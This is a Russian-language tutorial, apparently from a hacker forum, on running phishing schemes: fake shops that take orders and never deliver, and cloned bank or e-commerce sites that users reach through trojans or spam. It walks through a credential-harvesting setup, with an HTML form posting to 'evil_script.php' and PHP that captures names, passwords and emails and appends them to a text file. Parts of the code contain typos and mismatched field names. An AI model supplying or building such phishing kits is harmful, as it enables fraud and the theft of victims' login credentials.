what's it?
Fake(фейк) в переводе с английского-подделка,обман.
Фишинг бывает трех видов
1)Почтовый.
2)Онлайновый.
3)Комбинированный.
Первый из них самый старый,сейчас уже не актуалент почти.Второй - онлайновый подрузумевает под сабой копирование
сайта(например е-шопа),регистрацией похожего доменого имени,в тоже зоне что и офф.шоп.Только разница лишь в том что на нем
предлагаются товары по очень низким ценам(привет эльдорадо -)),ну и как ты понял,товар до покупателя не когда не дойдет
-),а вот ту инфу что он вбил в форме может нести вполне ощутимую информацию.Третий вид наиболее актуален в данное время.Он
подрузумеват под собой полное копирование конторы(например банка ну или сайтов связанных с электронной комерцией),на него
юзер заманивается 2-мя спосабами:
1)троем
2)спамом.
Let's go .
для начали просмотрим небольшую хтмл форму
PHP код:
<form action="evil_script.php" method="post"> <input type="text" name="name"> <input type="text" name="passwod"> <input type="text" name="email"> <input type="submit" value="send">
для тех кто не очень знаком с хтмл я кое что обьясню:
evil_script.php - сообственно говоря наш "зло_скрипт" который будет обрабатывать все данные что ввел юзер и отправляться в
виде пакета методом POST.
Первым делом мы обрабатываем вводимые данные пользователем суперглобаным массивом $HTTP_POST_VARS($_POST сокращенно)
делается это слеудющим образом, в нашем случаем у нас три значения - name,password,email
PHP код:
<? $n = $_POST['name']; $p = $_POST['password']; $e = $_POST['email']; ?>
вроде пока все верено.смотрим след пункт,что у нас нас ? правельность вводоимых данных.Конечно можно заюзать регулярные
выражения,но есть одно НО.Мы веть не знаем какого вида у нас будет точно логин,пароль? единственное можно заюзать регулырне
выражения например для email.
PHP код:
if(!preg_math("/[0-9a-z_]+@[0-9a_z^\.]+\.[a-z]
{2,3}/i",$email)) { echo "неверно введен e-mail.Введите адрес электронной почты в виде mail@server.com"; exit;
Проще там проверить ввел ли данны юзер в поля name,password,email.можно конечно реализовать с помошью функции empty(), но
я передпочел более легкий способо при помощи функции strlen().
PHP код:
if((!strlen($_POST['name']) > 0) || (!strlen($_POST['pass']) > 0) || (!strlen($_POST['email']) > 0)) { echo "не все данные введены"; echo "<br>"; echo '<a href="'.$_SERVER['PHP_SELF'].'">вернуться обратно</a>'; }
Теперь данные должны записывать в файл.Причем запись должна осуществляться с конца строки.
Юзать мы будем на выбор или fwrite() или fput() мне больше по душе fwrite(),сам хз почему.
для начала созданим на сервере файл , в нашем случаем 1.txt и не забуть выставит на него права (chmod +x)
далее все реализуется очень просто .
PHP код:
else { @$f = fopen("1.txt","a"); if(!$f) { echo "файл отсутвувет!"; } else { @fwrite($f, "name:$n;password:$p;email:$e \n"); } fclose($f); }